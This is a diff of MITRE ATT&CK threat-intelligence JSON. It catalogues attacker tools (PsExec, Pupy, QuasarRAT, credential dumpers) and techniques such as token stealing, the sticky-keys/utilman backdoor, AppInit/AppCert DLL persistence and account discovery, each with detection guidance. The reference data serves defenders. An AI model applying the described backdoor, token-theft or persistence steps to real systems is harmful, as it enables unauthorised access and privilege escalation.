"Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" + }, + { + "source_name": "SANS PsExec", + "description": "Pilkington, M.. (2012, December 17). Protecting Privileged Domain Accounts: PsExec Deep-Dive. Retrieved August 17, 2016.", + "url": "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2017-05-31T21:32:21.771Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PsExec", + "x_mitre_aliases": [ + "PsExec" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)", + "id": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "external_references": [ + { + "external_id": "S0192", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0192" + }, + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android" + ], + "modified": "2019-04-24T17:52:47.605Z", + "type": "tool", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Pupy", + "x_mitre_aliases": [ + "Pupy" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that is publicly available on GitHub. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. (Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018)", + "id": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "external_references": [ + { + "external_id": "S0262", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0262" + }, + { + "source_name": "QuasarRAT", + "description": "(Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018) (Citation: TrendMicro Patchwork Dec 2017)" + }, + { + "source_name": "xRAT", + "description": "(Citation: TrendMicro Patchwork Dec 2017)" + }, + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-24T19:05:41.307Z", + "type": "tool", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "QuasarRAT", + "x_mitre_aliases": [ + "QuasarRAT", + "xRAT" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)", + "id": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "external_references": [ + { + "external_id": "S0364", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0364" + }, + { + "source_name": "EldoS RawDisk ITpro", + "description": "Edwards, M. (2007, March 14). EldoS Provides Raw Disk Access for Vista and XP. Retrieved March 26, 2019.", + "url": "https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-19T19:04:55.892Z", + "type": "tool", + "created": "2019-03-25T12:30:40.919Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "RawDisk", + "x_mitre_aliases": [ + "RawDisk" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)", + "id": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "external_references": [ + { + "external_id": "S0075", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0075" + }, + { + "source_name": "Microsoft Reg", + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. 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Retrieved December 17, 2015.", + "url": "http://www.ampliasecurity.com/research/wcefaq.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2017-05-31T21:32:12.684Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Credential Editor", + "x_mitre_aliases": [ + "Windows Credential Editor", + "WCE" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: \u00dcberwachung APT28 Forfiles June 2015)", + "id": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d", + "external_references": [ + { + "external_id": "S0191", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0191" + }, + { + "source_name": "Winexe", + "description": "(Citation: Winexe Github Sept 2013) (Citation: \u00dcberwachung APT28 Forfiles June 2015)" + }, + { + "source_name": "Winexe Github Sept 2013", + "description": "Skalkotos, N. (2013, September 20). WinExe. Retrieved January 22, 2018.", + "url": "https://github.com/skalkoto/winexe/" + }, + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. 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Retrieved April 18, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-25T00:08:30.081Z", + "type": "tool", + "created": "2017-05-31T21:33:04.937Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "dsquery", + "x_mitre_aliases": [ + "dsquery", + "dsquery.exe" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. 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(2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Process use of network" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. 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Retrieved April 25, 2017." + }, + { + "url": "https://pentestlab.blog/2017/04/03/token-manipulation/", + "source_name": "Pentestlab Token Manipulation", + "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017." + }, + { + "url": "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/", + "source_name": "Cobalt Strike Access Token", + "description": "Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. Retrieved April 21, 2017." + }, + { + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017." + }, + { + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf", + "source_name": "BlackHat Atkinson Winchester Token Manipulation", + "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Tom Ueltschi @c_APT_ure", + "Travis Smith, Tripwire", + "Robby Winchester, @robwinchester3", + "Jared Atkinson, @jaredcatkinson" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Access tokens", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "name": "Access Token Manipulation", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. (Citation: Microsoft runas)\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n**Create Process with a Token** - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)", + "x_mitre_effective_permissions": [ + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1015", + "source_name": "mitre-attack", + "external_id": "T1015" + }, + { + "url": "https://capec.mitre.org/data/definitions/558.html", + "source_name": "capec", + "external_id": "CAPEC-558" + }, + { + "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", + "source_name": "Tilbury 2014", + "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", + "source_name": "FireEye Hikit Rootkit", + "description": "Glyer, C., Kazanciyan, R. (2012, August 20). THE \u201cHIKIT\u201d ROOTKIT: ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016." + }, + { + "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", + "source_name": "DEFCON2016 Sticky Keys", + "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Paul Speulstra, AECOM Global Security Operations Center" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "name": "Accessibility Features", + "created": "2017-05-31T21:30:26.946Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1087", + "source_name": "mitre-attack", + "external_id": "T1087" + }, + { + "url": "https://capec.mitre.org/data/definitions/575.html", + "source_name": "capec", + "external_id": "CAPEC-575" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "name": "Account Discovery", + "created": "2017-05-31T21:31:06.988Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n### Windows\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1098", + "source_name": "mitre-attack", + "external_id": "T1098" + }, + { + "url": "https://docs.microsoft.com/windows/device-security/auditing/event-4738", + "source_name": "Microsoft User Modified Event", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017." + }, + { + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017." + }, + { + "url": "https://github.com/gentilkiwi/mimikatz/issues/92", + "source_name": "GitHub Mimikatz Issue 92 June 2017", + "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Tim MalcomVetter" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "API monitoring", + "Windows event logs", + "Packet capture" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "name": "Account Manipulation", + "created": "2017-05-31T21:31:12.196Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1182", + "source_name": "mitre-attack", + "external_id": "T1182" + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + }, + { + "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html", + "source_name": "Sysinternals AppCertDlls Oct 2007", + "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry" + ], + "modified": "2019-04-08T14:09:45.456Z", + "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", + "name": "AppCert DLLs", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1103", + "source_name": "mitre-attack", + "external_id": "T1103" + }, + { + "url": "https://support.microsoft.com/en-us/kb/197571", + "source_name": "AppInit Registry", + "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015." + }, + { + "url": "https://msdn.microsoft.com/en-us/library/dn280412", + "source_name": "AppInit Secure Boot", + "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Secure boot disabled on systems running Windows 8 and later" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "name": "AppInit DLLs", + "created": "2017-05-31T21:31:15.409Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1155", + "source_name": "mitre-attack", + "external_id": "T1155" + }, + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/", + "source_name": "Macro Malware Targets Macs", + "description": "Yerko 